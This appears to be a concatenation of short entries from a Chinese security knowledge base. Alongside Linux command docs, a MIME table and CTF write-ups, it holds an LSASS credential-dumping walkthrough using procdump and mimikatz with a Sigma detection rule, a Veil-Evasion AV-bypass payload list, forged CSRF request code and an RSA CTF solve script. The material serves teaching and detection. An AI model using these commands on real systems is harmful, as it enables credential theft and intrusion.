.B "\-bytes=\fImin\-len\fP"
打印 至少
.I min\-len
字符 长 的 字符串. 默认的 是 4.
.TP
.BR "\-t " {o,x,d}
.TP
.BR "\-\-radix=" {o,x,d}
在 字符串 前面 显示 其在 文件 中 的 偏移量. 选项 中 的 单个 字符 指定 偏移量
的 进制 是 八进制, 十六进制 还是 十进制.
.TP
.BI "\-\-target=" "bfdname"
指定 一种 目标 代码 格式 来 代替 你的 系统的 默认 格式. 关于 可用的 目标 代码
格式 请 参见
.BR objdump ( 1 ).
.TP
.B \-o
同
.BR "\-t o" .
.PP
.SH "参见 (SEE ALSO)"
.B
info\c
\&;
.I
The GNU Binary Utilities\c
\&, Roland H. Pesch (October 1991)
里的
.RB "`\|" binutils "\|'"
节点.
.BR ar ( 1 ),
.BR nm ( 1 ),
.BR objdump ( 1 ),
.BR ranlib ( 1 ).
.SH "版权 (COPYING)"
版权所有 \(co 1993 自由软件基金会
.PP
我们 允许 对本手册的 完全 复制, 前提 是 在所有 副本中 保留 本版权声明 和
本权益声明.
.PP
我们 允许 对本手册的 修改版本 进行 复制 和 再分发, 前提是 遵守 上面 逐字复制的
条款, 以及 确保 因此 所衍生出 成果 也是 使用 和这里 声明的 所有条款 相同的 版权
和/或 权限声明 发布的.
.PP
我们 允许 复制 和 分发 本手册的 其它语言的 译文版本, 前提是 遵守 上面 修改版本
的条款, 区别 是可以 使用 由自由 软件 基金会 批准的 本版权 和/或 权限 条款的
译文版 代替 其英文 原文．
.SH "[中文版维护人]"
.B 唐友 \<tony_ty@263.net\>
.SH "[中文版最新更新]"
.BR 2001/10/31
.SH "[中国Linux论坛man手册页翻译计划]"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# picoCTF - 2018
Writeups for various challenges from the 2018 [picoCTF competition](https://2018game.picoctf.com/).
|
sec-knowleage
|
# T1003-windows-Procdump明文凭证
## 来自ATT&CK的描述
凭证获取是从操作系统和软件中获取登录信息和密码的过程，通常为HASH散列或明文密码。然后使用凭证进行横向移动访问其他系统。
用户登录系统后，会生成各种凭据并将其存储在内存中的本地安全机构子系统服务（LSASS）进程中。这些凭证可以由管理用户或SYSTEM进行管理。
SSPI是Security Support Provider Interface（Microsoft安全支持提供器接口）的英文缩写。安全支持提供程序接口（SSPI）允许应用程序使用计算机或网络上可用的各种安全模型，而无需更改安全系统的接口。SSPI不会记录登录凭据，因为这通常是操作系统处理的特权操作。
一个安全支持提供商（SSP）包含在一个动态链接库，通过使一个或多个实现SSPI（DLL）安全包提供给应用程序。每个安全包都提供应用程序的SSPI函数调用和实际安全模型的功能之间的映射。
以下SSP可用于获取凭证：
Msv：交互式登录，批量登录和服务登录通过MSV身份验证包完成；
Wdigest：摘要认证协议设计用于超文本传输协议（HTTP）和简单认证安全层（SASL）交换；
Kerberos：Kerberos V5身份验证协议提供一个在客户端跟服务器端之间或者服务器与服务器之间的身份验证机制 （并且是相互的身份验证机制）；
CredSSP：为远程桌面服务提供SSO和网络级别身份验证；
## 测试案例
以下工具可用于枚举凭据：
- Windows凭据编辑器
- Mimikatz
除了内存技术，LSASS进程内存可以从目标主机转储并在本地系统上进行分析。
例如，在目标主机上使用procdump：
- procdump -ma lsass.exe lsass_dump
在本地，运行mimikatz：
- sekurlsa::Minidump lsassdump.dmp
- sekurlsa::logonPasswords
## 检测日志
sysmon日志
## 测试复现
场景：攻击者利用Procdump获取lsass进程内存文件，本地使用mimikatz获取密码(administrator)。
```dos
Microsoft Windows [版本 6.1.7601]
版权所有 (c) 2009 Microsoft Corporation。保留所有权利。
C:\Users\Administrator>cd C:\Users\Administrator\Desktop\Procdump
C:\Users\Administrator\Desktop\Procdump>procdump64.exe -ma lsass.exe 1.dmp
ProcDump v8.0 - Writes process dump files
Copyright (C) 2009-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
With contributions from Andrew Richards
[13:42:47] Dump 1 initiated: C:\Users\Administrator\Desktop\Procdump\1.dmp
[13:42:50] Dump 1 writing: Estimated dump file size is 50 MB.
[13:42:51] Dump 1 complete: 50 MB written in 3.3 seconds
[13:42:51] Dump count reached.
C:\Users\Administrator\Desktop\Procdump>
```
## 测试留痕
sysmon事件，进程创建、进程访问、进程结束
## 检测规则/思路
### sigma规则
```yml
title: 明文获取凭证——Procdump
description: windows server 2008 模拟测试结果
status: experimental
author: 12306Bro
logsource:
product: windows
service: sysmon
detection:
selection:
OriginalFileName: 'procdump'
filter:
Image:
- '*\procdump.exe'
- '*\procdump64.exe'
condition: selection and not filter
falsepositives:
- Procdump illegaly bundled with legitimate software
- Weird admins who renamed binaries
level: critical
timeframe: last 1m
condition: all of them
```
### 建议
建议您关注一下sysmon10.2的新特性OriginalFileName，经过安全人员研究测试发现，在进程创建事件中，procdump修改为ABC，但OriginalFileName依旧能够清晰的识别出该款工具是procdump。
## 参考推荐
MITRE-ATT&CK-T1003
<https://attack.mitre.org/techniques/T1003/>
windows SSPI模型
<https://docs.microsoft.com/zh-cn/windows/win32/secauthn/sspi-model>
MSV身份验证包
<https://blog.csdn.net/lionzl/article/details/7725116>
Wdigest摘要认证协议
<https://www.4hou.com/info/news/8126.html>
Kerberos身份认证协议技术参考
<https://www.cnblogs.com/adylee/articles/893448.html>
CredSSP凭证安全支持提供程序协议
<https://docs.microsoft.com/zh-cn/windows/win32/secauthn/credential-security-support-provider>
|
sec-knowleage
|
version: '2'
services:
web:
image: vulhub/imagemagick:6.9.2-10-php
command: php -t /var/www/html -S 0.0.0.0:8080
volumes:
- ./index.php:/var/www/html/index.php
ports:
- "8080:8080"
|
sec-knowleage
|
# 工具介绍 Veil-Evasion
项目地址：
https://github.com/Veil-Framework/Veil-Evasion
### 1、Veil-Evasion
Veil-Evasion 是与 Metasploit 生成相兼容的 Payload 的一款辅助框架，并可以绕过大多数的杀软。
Veil-Evasion 并没有集成在kali，配置 sources.list，可直接 apt-get。
```bash
root@John:~/Deskto#cat /etc/apt/sources.list
#中科大
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
#阿里云
#deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
#deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
#清华大学
#deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#浙大
#deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
#deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
#东软大学
#deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
#deb-src http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
#官方源
deb http://http.kali.org/kali kali-rolling main non-free contrib
deb-src http://http.kali.org/kali kali-rolling main non-free contrib
#重庆大学
#deb http://http.kali.org/kali kali-rolling main non-free contrib
#deb-src http://http.kali.org/kali kali-rolling main non-free contrib
```
### 2、安装
```bash
root@John:~/Desktop# apt-get install veil-evasion
```
由于在实验中本机已经安装，所以我们在虚拟机中使用 git 方式来下载和安装。（以便截图）
ps:本次 kali 下截图使用 scrot
```bash
root@John:~/Deskto# apt-get install scrot
root@John:~/Deskto# scrot -s //即可
root@John:~/Deskto# git clone https://github.com/Veil-Framework/Veil-Evasion.git
```
```bash
root@John:~/Veil-Evasion# ./setup.sh
//安装漫长
```
### 3、测试
以 `c/meterpreter/rev_tcp` 为例：
ps:Veil-Evasion 不再更新，新版本项目地址：
https://github.com/Veil-Framework/Veil
### 4、附录：
```bash
[*] 可支持生成payloads:
1) auxiliary/coldwar_wrapper
2) auxiliary/macro_converter
3) auxiliary/pyinstaller_wrapper
4) c/meterpreter/rev_http
5) c/meterpreter/rev_http_service
6) c/meterpreter/rev_tcp
7) c/meterpreter/rev_tcp_service
8) c/shellcode_inject/flatc
9) cs/meterpreter/rev_http
10) cs/meterpreter/rev_https
11) cs/meterpreter/rev_tcp
12) cs/shellcode_inject/base64_substitution
13) cs/shellcode_inject/virtual
14) go/meterpreter/rev_http
15) go/meterpreter/rev_https
16) go/meterpreter/rev_tcp
17) go/shellcode_inject/virtual
18) native/backdoor_factory
19) native/hyperion
20) native/pe_scrambler
21) perl/shellcode_inject/flat
22) powershell/meterpreter/rev_http
23) powershell/meterpreter/rev_https
24) powershell/meterpreter/rev_tcp
25) powershell/shellcode_inject/download_virtual
26) powershell/shellcode_inject/download_virtual_https
27) powershell/shellcode_inject/psexec_virtual
28) powershell/shellcode_inject/virtual
29) python/meterpreter/bind_tcp
30) python/meterpreter/rev_http
31) python/meterpreter/rev_http_contained
32) python/meterpreter/rev_https
33) python/meterpreter/rev_https_contained
34) python/meterpreter/rev_tcp
35) python/shellcode_inject/aes_encrypt
36) python/shellcode_inject/aes_encrypt_HTTPKEY_Request
37) python/shellcode_inject/arc_encrypt
38) python/shellcode_inject/base64_substitution
39) python/shellcode_inject/des_encrypt
40) python/shellcode_inject/download_inject
41) python/shellcode_inject/flat
42) python/shellcode_inject/letter_substitution
43) python/shellcode_inject/pidinject
44) python/shellcode_inject/stallion
45) ruby/meterpreter/rev_http
46) ruby/meterpreter/rev_http_contained
47) ruby/meterpreter/rev_https
48) ruby/meterpreter/rev_https_contained
49) ruby/meterpreter/rev_tcp
50) ruby/shellcode_inject/base64
51) ruby/shellcode_inject/flat
```
<p align="right">--By Micropoor </p>
|
sec-knowleage
|
## OPM (Misc, 3p)
###ENG
[PL](#pl-version)
In this task, we got only an image - so the first step was probably solving a stegano task.
Using Stegsolve, we quickly see that least significant bits of all three channels (R,G,B) contain
semi-random data on top of the image, and are totally black on the bottom. Extracting data from those
channels (also using Stegsolve), we see that first two bytes are "PK" - a zip file signature.
After unzipping the file, we get a single file called "STMFD SP!, {R11,LR}". We recognize it as an
ARM assembly instruction. The file contained hexdump of another file in form:
```
aa109c60 e92d4800
aa109c64 e28db004
aa109c68 e24dd018
aa109c6c e50b0010
aa109c70 e50b1014
aa109c74 e50b2018
...
```
The first column was increasing, so it was probably just an address - the bytes on the right were more
interesting. After creating a new file containing the second column concatenated and unhexed (in little
endian), we got an ARM binary (without any headers, just the assembled code). After analyzing the code,
we see that it accepts a password and checks if it is correct. A very high fraction of the file is
used for the key-checking function. It is very repetitive too: most of the code looks like:
```
c7c: e51b3050 ldr r3, [fp, #-80] ; 0xffffffb0
c80: e3e0101a mvn r1, #26
c84: e0030391 mul r3, r1, r3
c88: e0822003 add r2, r2, r3
```
That means:
```
c7c - load byte from password at position 80
c80 - r1=26
c84 - r3=r1*r3
c88 - r2+=r3
```
Or, shortly: `r2+=password[80]*26`.
This procedure was repeated for every password byte. R2 was then checked against a constant value.
The whole checking code was repeated a few times with different constants, to ensure that the password
is unique.
We quickly saw that the password is a string that satisfies:
```
pass[0]*a00 + pass[1]*a01 + pass[2]*a02 ... = b0
pass[0]*a10 + pass[1]*a11 + pass[2]*a12 ... = b1
...
```
It was not easy to parse the disassembly to get the a's and b's though - some multiplications
were realized as logical shifts, for example. Instead, we decompiled the code using Retargetable
Decompiler - http://pastebin.com/yrziPfYy. The code looked much better for parsing. We selected
the interesting part of the code to `decomp` file, and wrote Python code which would parse it -
`solve.py`. The code, when ran, gives us the flag: `Tr4c1Ng_F0R_FuN!`.
###PL version
|
sec-knowleage
|
volname
===
显示指定的ISO-9660格式的设备的卷名称
## 补充说明
**volname命令** 用于显示指定的“ISO-9660”格式的设备的卷名称，通常这种格式的设备为光驱。
### 语法
```shell
volname(参数)
```
### 参数
设备文件名：指定要显示卷名称的设备。
|
sec-knowleage
|
arping
===
通过发送ARP协议报文测试网络
## 补充说明
**arping命令** 是用于发送arp请求到一个相邻主机的工具，arping使用arp数据包，通过ping命令检查设备上的硬件地址。能够测试一个ip地址是否是在网络上已经被使用，并能够获取更多设备信息。功能类似于ping。
### 语法
```shell
arping(选项)(参数)
```
### 选项
```shell
-b：用于发送以太网广播帧（FFFFFFFFFFFF）。arping一开始使用广播地址，在收到响应后就使用unicast地址。
-q：quiet output不显示任何信息；
-f：表示在收到第一个响应报文后就退出；
-w timeout：设定一个超时时间，单位是秒。如果到了指定时间，arping还没到完全收到响应则退出；
-c count：表示发送指定数量的ARP请求数据包后就停止。如果指定了deadline选项，则arping会等待相同数量的arp响应包，直到超时为止；
-s source：设定arping发送的arp数据包中的SPA字段的值。如果为空，则按下面处理，如果是DAD模式（冲突地址探测），则设置为0.0.0.0，如果是Unsolicited ARP模式（Gratutious ARP）则设置为目标地址，否则从路由表得出；
-I interface：设置ping使用的网络接口。
```
### 参数
目的主机：指定发送ARP报文的目的主机。
### 实例
```shell
[root@localhost ~]# arping www.baidu.com
ARPING 220.181.111.147 from 173.231.43.132 eth0
Unicast reply from 220.181.111.147 00:D0:03:[bc:48:00] 1.666ms
Unicast reply from 220.181.111.147 [00:D0:03:BC:48:00] 1.677ms
Unicast reply from 220.181.111.147 [00:D0:03:BC:48:00] 1.691ms
Unicast reply from 220.181.111.147 [00:D0:03:BC:48:00] 1.728ms
Unicast reply from 220.181.111.147 [00:D0:03:BC:48:00] 1.626ms
Unicast reply from 220.181.111.147 [00:D0:03:BC:48:00] 1.292ms
Unicast reply from 220.181.111.147 [00:D0:03:BC:48:00] 1.429ms
Unicast reply from 220.181.111.147 [00:D0:03:BC:48:00] 2.042ms
Sent 8 probes (1 broadcast(s))
Received 8 response(s)
```
|
sec-knowleage
|
### KASLR的开启与关闭
如果是使用 qemu 启动的内核，我们可以在 `-append` 选项中添加 `kaslr` 来开启 KASLR。
如果是使用 qemu 启动的内核，我们可以在 `-append` 选项中添加 `nokaslr` 来关闭 KASLR。
|
sec-knowleage
|
mkdir
===
用来创建目录
## 补充说明
**mkdir命令** 用来创建目录。该命令创建由dirname命名的目录。如果在目录名的前面没有加任何路径名，则在当前目录下创建由dirname指定的目录；如果给出了一个已经存在的路径，将会在该目录下创建一个指定的目录。在创建目录时，应保证新建的目录与它所在目录下的文件没有重名。
注意：在创建文件时，不要把所有的文件都存放在主目录中，可以创建子目录，通过它们来更有效地组织文件。最好采用前后一致的命名方式来区分文件和目录。例如，目录名可以以大写字母开头，这样，在目录列表中目录名就出现在前面。
在一个子目录中应包含类型相似或用途相近的文件。例如，应建立一个子目录，它包含所有的数据库文件，另有一个子目录应包含电子表格文件，还有一个子目录应包含文字处理文档，等等。目录也是文件，它们和普通文件一样遵循相同的命名规则，并且利用全路径可以唯一地指定一个目录。
### 语法
```shell
mkdir (选项)(参数)
```
### 选项
```shell
-Z：设置安全上下文，当使用SELinux时有效；
-m<目标属性>或--mode<目标属性>建立目录的同时设置目录的权限；
-p或--parents 若所要建立目录的上层目录目前尚未建立，则会一并建立上层目录；
--version 显示版本信息。
```
### 参数
目录：指定要创建的目录列表，多个目录之间用空格隔开。
### 实例
在目录`/usr/meng`下建立子目录test，并且只有文件主有读、写和执行权限，其他人无权访问
```shell
mkdir -m 700 /usr/meng/test
```
在当前目录中建立bin和bin下的os_1目录，权限设置为文件主可读、写、执行，同组用户可读和执行，其他用户无权访问
```shell
mkdir -p-m 750 bin/os_1
```
|
sec-knowleage
|
import random
from crypto_commons.generic import bytes_to_long, multiply, factor, long_to_bytes
from crypto_commons.netcat.netcat_commons import nc, receive_until_match, receive_until, send
from crypto_commons.rsa.rsa_commons import gcd_multi
def prepare_values():
prefix = bytes_to_long("X: ")
factors, _ = factor(prefix)
random.shuffle(factors)
base1 = multiply(factors[:len(factors) / 2])
base2 = multiply(factors[len(factors) / 2:])
assert base1 * base2 == prefix
shift = 5
x = base1 * 256 ** shift + 0
y = base2 * 256 ** shift + 0
z = base1 * 256 ** shift + 1
v = base2 * 256 ** shift + 1
A = x * y
B = z * v
C = x * v
D = y * z
assert (A * B == C * D == x * y * z * v)
for x in [A, B, C, D]:
assert (long_to_bytes(x)[:3] == 'X: ')
assert (len(long_to_bytes(x)) < 16)
return A, B, C, D
def get_kn():
host = "3.115.26.78"
port = 31337
s = nc(host, port)
receive_until_match(s, "! ")
flag_ct = receive_until(s, "\n")[:-1]
plaintexts = [long_to_bytes(x)[3:] for x in prepare_values()]
results = []
for pt in plaintexts:
receive_until_match(s, ": ")
send(s, pt.encode("hex"))
res = receive_until(s, "\n")[:-1]
results.append(res)
s.close()
CTA = int(results[0], 16)
CTB = int(results[1], 16)
CTC = int(results[2], 16)
CTD = int(results[3], 16)
kn = (CTA * CTB) - (CTD * CTC)
print("Got k*N", kn)
return kn
def main():
kns = [get_kn() for i in range(5)]
possible_n = gcd_multi(kns)
print('possible n', possible_n)
main()
def sanity():
from Crypto.Util.number import getPrime
e = 65537
p = getPrime(512)
q = getPrime(512)
n = p * q
A, B, C, D = prepare_values()
CTA = pow(A, e, n)
CTB = pow(B, e, n)
CTC = pow(C, e, n)
CTD = pow(D, e, n)
assert ((CTA * CTB) % n == (CTD * CTC) % n)
assert ((CTA * CTB) - (CTD * CTC)) % n == 0
# sanity()
|
sec-knowleage
|
# EOP, re
This task was a reverse engineering challenge with binary using exceptions as control flow (post
factum we noticed name of the task may mean Exception Oriented Programming). Each exception
handler did just a tiny bit of computation on global state and set up another exception to be thrown.
Thankfully, there were no branches, just linear code. We wrote a simple IDA code parser in Python
to dump computation instructions in correct order. The remaining code seemed to be some kind of
encryption - we Googled the constants and found Twofish. Gathering sample code from the Internet
and decrypting constant buffer with constant key (both directly in binary), we got the flag.
|
sec-knowleage
|
wall
===
向系统当前所有打开的终端上输出信息
## 补充说明
**wall命令** 用于向系统当前所有打开的终端上输出信息。通过wall命令可将信息发送给每位同意接收公众信息的终端机用户，若不给予其信息内容，则wall命令会从标准输入设备读取数据，然后再把所得到的数据传送给所有终端机用户。
### 语法
```shell
wall(参数)
```
### 参数
消息：指定广播消息。
### 实例
```shell
[root@localhost ~]# wall this is a test line
Broadcast message from root (pts/1) (Fri Dec 20 11:36:51 2013):
this is a test line
```
|
sec-knowleage
|
---
title: MIME types
date: 2020-04-03 17:28:43
tags:
- media type
categories:
- Other
intro: |
This cheat sheet lists some common MIME types for the Web. You can look in the [IANA/MIME Media Types registry](http://www.iana.org/assignments/media-types/index.html) which contains all registered MIME types.
---
Getting Started {.cols-2}
---------------
### Introduction
- The MIME type registry associates particular filename extensions and filename pattern
- MIME (Multipurpose Internet Mail Extensions) type aka media type
- MIME types are defined and standardized in IETF's RFC 6838
- Indicates the nature and format of a document, file, or assortment of bytes.
- For file formats or format contents on the Internet
{.marker-round}
### Multi-format of MIME types
- [Markdown Table](https://tableconvert.com/html-to-markdown?data=https://quickref.me/mime#TableGenerator)
- [Template](https://tableconvert.com/html-to-template?data=https://quickref.me/mime#TableGenerator)
- [LaTeX Table](https://tableconvert.com/html-to-latex?data=https://quickref.me/mime#TableGenerator)
- [CSV](https://tableconvert.com/html-to-csv?data=https://quickref.me/mime#TableGenerator)
- [Excel](https://tableconvert.com/html-to-excel?data=https://quickref.me/mime#TableGenerator)
- [JSON Array](https://tableconvert.com/html-to-json?data=https://quickref.me/mime#TableGenerator)
- [HTML Table](https://tableconvert.com/html-to-html?data=https://quickref.me/mime#TableGenerator)
- [Insert SQL](https://tableconvert.com/html-to-sql?data=https://quickref.me/mime#TableGenerator)
- [YAML Sequence](https://tableconvert.com/html-to-yaml?data=https://quickref.me/mime#TableGenerator)
- [XML](https://tableconvert.com/html-to-xml?data=https://quickref.me/mime#TableGenerator)
- [ASCII](https://tableconvert.com/html-to-ascii?data=https://quickref.me/mime#TableGenerator)
- [MediaWiki Table](https://tableconvert.com/html-to-mediawiki?data=https://quickref.me/mime#TableGenerator)
- [AsciiDoc Table](https://tableconvert.com/html-to-asciidoc?data=https://quickref.me/mime#TableGenerator)
- [Jira Table](https://tableconvert.com/html-to-jira?data=https://quickref.me/mime#TableGenerator)
- [Textile Table](https://tableconvert.com/html-to-textile?data=https://quickref.me/mime#TableGenerator)
- [reStructuredText](https://tableconvert.com/html-to-restructuredtext?data=https://quickref.me/mime#TableGenerator)
- [PHP Array](https://tableconvert.com/html-to-php?data=https://quickref.me/mime#TableGenerator)
- [Ruby Array](https://tableconvert.com/html-to-ruby?data=https://quickref.me/mime#TableGenerator)
- [ASP Array](https://tableconvert.com/html-to-asp?data=https://quickref.me/mime#TableGenerator)
- [ActionScript](https://tableconvert.com/html-to-actionscript?data=https://quickref.me/mime#TableGenerator)
- [BBCode](https://tableconvert.com/html-to-bbcode?data=https://quickref.me/mime#TableGenerator)
- [PDF](https://tableconvert.com/html-to-pdf?data=https://quickref.me/mime#TableGenerator)
- [JPEG](https://tableconvert.com/html-to-jpeg?data=https://quickref.me/mime#TableGenerator)
{.cols-4 .marker-none}
Lists of MIME types {.cols-1}
-------------------
### Common MIME (Media) types
| Extension | Kind of document | MIME Type \(Content Type\) |
|-----------------|--------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------|
| \.aac | AAC audio | audio/aac |
| \.abw | AbiWord document | application/x\-abiword |
| \.arc | Archive document \(multiple files embedded\) | application/x\-freearc |
| \.avi | AVI: Audio Video Interleave | video/x\-msvideo |
| \.azw | Amazon Kindle eBook format | application/vnd\.amazon\.ebook |
| \.bin | Any kind of binary data | application/octet\-stream |
| \.bmp | Windows OS/2 Bitmap Graphics | image/bmp |
| \.bz | BZip archive | application/x\-bzip |
| \.bz2 | BZip2 archive | application/x\-bzip2 |
| \.csh | C\-Shell script | application/x\-csh |
| \.css | Cascading Style Sheets \(CSS\) | text/css |
| \.csv | Comma\-separated values \(CSV\) | text/csv |
| \.doc | Microsoft Word | application/msword |
| \.docx | Microsoft Word \(OpenXML\) | application/vnd\.openxmlformats\-officedocument\.wordprocessingml\.document |
| \.eot | MS Embedded OpenType fonts | application/vnd\.ms\-fontobject |
| \.epub | Electronic publication \(EPUB\) | application/epub\+zip |
| \.gz | GZip Compressed Archive | application/gzip |
| \.gif | Graphics Interchange Format \(GIF\) | image/gif |
| \.htm \.html | HyperText Markup Language \(HTML\) | text/html |
| \.ico | Icon format | image/vnd\.microsoft\.icon |
| \.ics | iCalendar format | text/calendar |
| \.jar | Java Archive \(JAR\) | application/java\-archive |
| \.jpeg \.jpg | JPEG images | image/jpeg |
| \.js | JavaScript | text/javascript |
| \.json | JSON format | application/json |
| \.jsonld | JSON\-LD format | application/ld\+json |
| \.mid \.midi | Musical Instrument Digital Interface \(MIDI\) | audio/midi audio/x\-midi |
| \.mjs | JavaScript module | text/javascript |
| \.mp3 | MP3 audio | audio/mpeg |
| \.mpeg | MPEG Video | video/mpeg |
| \.mpkg | Apple Installer Package | application/vnd\.apple\.installer\+xml |
| \.odp | OpenDocument presentation document | application/vnd\.oasis\.opendocument\.presentation |
| \.ods | OpenDocument spreadsheet document | application/vnd\.oasis\.opendocument\.spreadsheet |
| \.odt | OpenDocument text document | application/vnd\.oasis\.opendocument\.text |
| \.oga | OGG audio | audio/ogg |
| \.ogv | OGG video | video/ogg |
| \.ogx | OGG | application/ogg |
| \.opus | Opus audio | audio/opus |
| \.otf | OpenType font | font/otf |
| \.png | Portable Network Graphics | image/png |
| \.pdf | Adobe Portable Document Format \(PDF\) | application/pdf |
| \.php | Hypertext Preprocessor \(Personal Home Page\) | application/php |
| \.ppt | Microsoft PowerPoint | application/vnd\.ms\-powerpoint |
| \.pptx | Microsoft PowerPoint \(OpenXML\) | application/vnd\.openxmlformats\-officedocument\.presentationml\.presentation |
| \.rar | RAR archive | application/vnd\.rar |
| \.rtf | Rich Text Format \(RTF\) | application/rtf |
| \.sh | Bourne shell script | application/x\-sh |
| \.svg | Scalable Vector Graphics \(SVG\) | image/svg\+xml |
| \.swf | Small web format \(SWF\) or Adobe Flash document | application/x\-shockwave\-flash |
| \.tar | Tape Archive \(TAR\) | application/x\-tar |
| \.tif \.tiff | Tagged Image File Format \(TIFF\) | image/tiff |
| \.ts | MPEG transport stream | video/mp2t |
| \.ttf | TrueType Font | font/ttf |
| \.txt | Text, \(generally ASCII or ISO 8859\-n\) | text/plain |
| \.vsd | Microsoft Visio | application/vnd\.visio |
| \.wav | Waveform Audio Format | audio/wav |
| \.weba | WEBM audio | audio/webm |
| \.webm | WEBM video | video/webm |
| \.webp | WEBP image | image/webp |
| \.woff | Web Open Font Format \(WOFF\) | font/woff |
| \.woff2 | Web Open Font Format \(WOFF\) | font/woff2 |
| \.xhtml | XHTML | application/xhtml\+xml |
| \.xls | Microsoft Excel | application/vnd\.ms\-excel |
| \.xlsx | Microsoft Excel \(OpenXML\) | application/vnd\.openxmlformats\-officedocument\.spreadsheetml\.sheet |
| \.xml | XML | application/xml if not readable from casual users \(RFC 3023, section 3\) text/xml if readable from casual users \(RFC 3023, section 3\) |
| \.xul | XUL | application/vnd\.mozilla\.xul\+xml |
| \.zip | ZIP archive | application/zip |
| \.3gp | 3GPP audio/video container | video/3gpp audio/3gpp if it doesn't contain video |
| \.3g2 | 3GPP2 audio/video container | video/3gpp2 audio/3gpp2 if it doesn't contain video |
| \.7z | 7\-zip archive | application/x\-7z\-compressed |
| \.markdown \.md | Markdown File | text/markdown |
{.show-header}
|
sec-knowleage
|
### CSRF 简介
CSRF，全名 Cross Site Request Forgery，跨站请求伪造。很容易将它与 XSS 混淆，对于 CSRF，其两个关键点是跨站点的请求与请求的伪造，由于目标站无 token 或 referer 防御，导致用户的敏感操作的每一个参数都可以被攻击者获知，攻击者即可以伪造一个完全一样的请求以用户的身份达到恶意目的。
### CSRF 类型介绍
按请求类型，可分为 GET 型和 POST 型。
按攻击方式，可分为 HTML CSRF、JSON HiJacking、Flash CSRF 等。
### HTML CSRF请求方式
利用 HTML 元素发出 CSRF 请求，这是最常见的 CSRF 攻击。
HTML 中能设置 src/href 等链接地址的标签都可以发起一个 GET 请求，如：
```
<link href="">
<img src="">
<img lowsrc="">
<img dynsrc="">
<meta http-equiv="refresh" content="0; url=">
<iframe src="">
<frame src="">
<script src=""></script>
<bgsound src=""></bgsound>
<embed src=""></bgsound>
<video src=""></video>
<audio src=""></audio>
<a href=""></a>
<table background=""></table>
......
```
还有 CSS 样式中的：
```
@import ""
background:url("")
......
```
也可使用表单来对 POST 型的请求进行伪造。
```
<form action="http://www.a.com/register" id="register" method="post">
<input type=text name="username" value="" />
<input type=password name="password" value="" />
</form>
<script>
var f = document.getElementById("register");
f.inputs[0].value = "test";
f.inputs[1].value = "passwd";
f.submit();
</script>
```
### Flash CSRF请求方式
Flash 也有各种方式可以发起网络请求，包括 POST。
```
import flash.net.URLRequest;
import flash.system.Security;
var url = new URLRequest("http://target/page");
var param = new URLVariables();
param = "test=123";
url.method = "POST";
url.data = param;
sendToURL(url);
stop();
```
Flash 中还可以使用 getURL、loadVars 等方式发起请求。
```
req = new LoadVars();
req.addRequestHeader("foo", "bar");
req.send("http://target/page?v1=123&v2=222", "_blank", "GET");
```
### CSRF 的防御手段，使用referer防御
检查请求是否来自合法的源。但服务器并非什么时候都能取得 Referer。
### CSRF 的防御手段，基于token防御
CSRF 能够攻击成功的本质原因是重要操作的所有参数都可以被攻击者猜测得到。
保持原参数不变，新增一个参数 Token，值是随机的，在实际应用中，Token 可以放在用户的 Session 中，或浏览器的 Cookies 中。
Token 一定要足够随机。此外，Token 的目的不是为了防止重复提交，所以为了使用方便，可以允许在一个用户的有效生命周期内，在 Token 消耗掉之前都使用同一个 Token，但如果用户已经提交了表单，则这个 Token 已经消耗掉，应该重新生成 Token。
Token 还应注意其保密性，如果 Token 出现在 URL 中，则可能会通过 Referer 泄露，应尽量把 Token 放在表单中，把敏感操作由 GET 改为 POST，以表单或 AJAX 的形式提交，避免 Token 泄露。
|
sec-knowleage
|
## 开发工具
| Exploitation Tools | | | | | |
| :----------------------------------------------------------: | :----------------------------------------------------------: | :-------: | :-----------------: | :--------------------: | :---------------------: |
| [Armitage](https://github.com/Jack-Liang/kalitools/blob/master/Exploitation%20Tools/Armitage.md) | Backdoor Factory | BeEF | cisco-auditing-tool | cisco-global-exploiter | cisco-ocs |
| cisco-torch | Commix | crackle | exploitdb | jboss-autopwn | Linux Exploit Suggester |
| Maltego Teeth | [SET](https://github.com/Jack-Liang/kalitools/blob/master/Exploitation%20Tools/SET.md) | ShellNoob | sqlmap | THC-IPV6 | Yersinia |
|
sec-knowleage
|
# MSSQL
---
## MSSQL 系统库
- master : master 数据库控制 SQLserver 数据库所有方面。这个数据库中包括了所有的配置信息、用户登录信息、当前正在服务器中运行的过程的信息等。
- model : model 数据库是建立所有用户数据库时的模版。新建数据库时，SQLserver 会把 model 数据库中的所有对象建立一份拷贝并移到新数据库中。在模版对象被拷贝到新的用户数据库中之后，该数据库的所有多余空间都将被空页填满。
- tempdb : tempdb 数据库是一个非常特殊的数据库，供所有访问 SQLserver 数据库的用户使用。这个库用来保存所有的临时表、存储过程和其他 SQLserver 建立的临时用的东西。
- msdb : msdb 数据库是 SQLserver 数据库中的特例，若想查看此数据库的实际定义，会发现它其实是一个用户数据库。所有的任务调度、报警、操作员都存储在 msdb 数据库中。该库的另一个功能是用来存储所有备份历史。SQLserver agent 将会使用这个库。
---
## 存储过程
存储过程是一个可编程的函数，它在数据库中创建并保存，是存储在服务器中的一组预编译过的T-SQL（SQL语言版本之一，只能在SQLserver使用）语句。数据库中的存储过程可以看做是对编程中面向对象方法的模拟。它允许控制数据的访问方式（可以将存储过程理解为函数调用的过程），使用execute命令执行存储过程。
**存储过程的分类**
存储过程可分3种
1. 系统存储过程主要存储在 master 数据库中，以 "sp_" 为前缀，在任何数据库中都可以调用，在调用的时候不必在存储过程前加上数据库名；
2. 扩展存储过程则是对动态链接库 (DLL) 函数的调用，主要是用于客户端与服务器端或客户端之间进行通信的，以“xp_" 为前缀，使用方法与系统存储过程类似；
3. 用户定义的存储过程是 SQLServer 的使用者编写的存储过程；
**存储过程的执行**
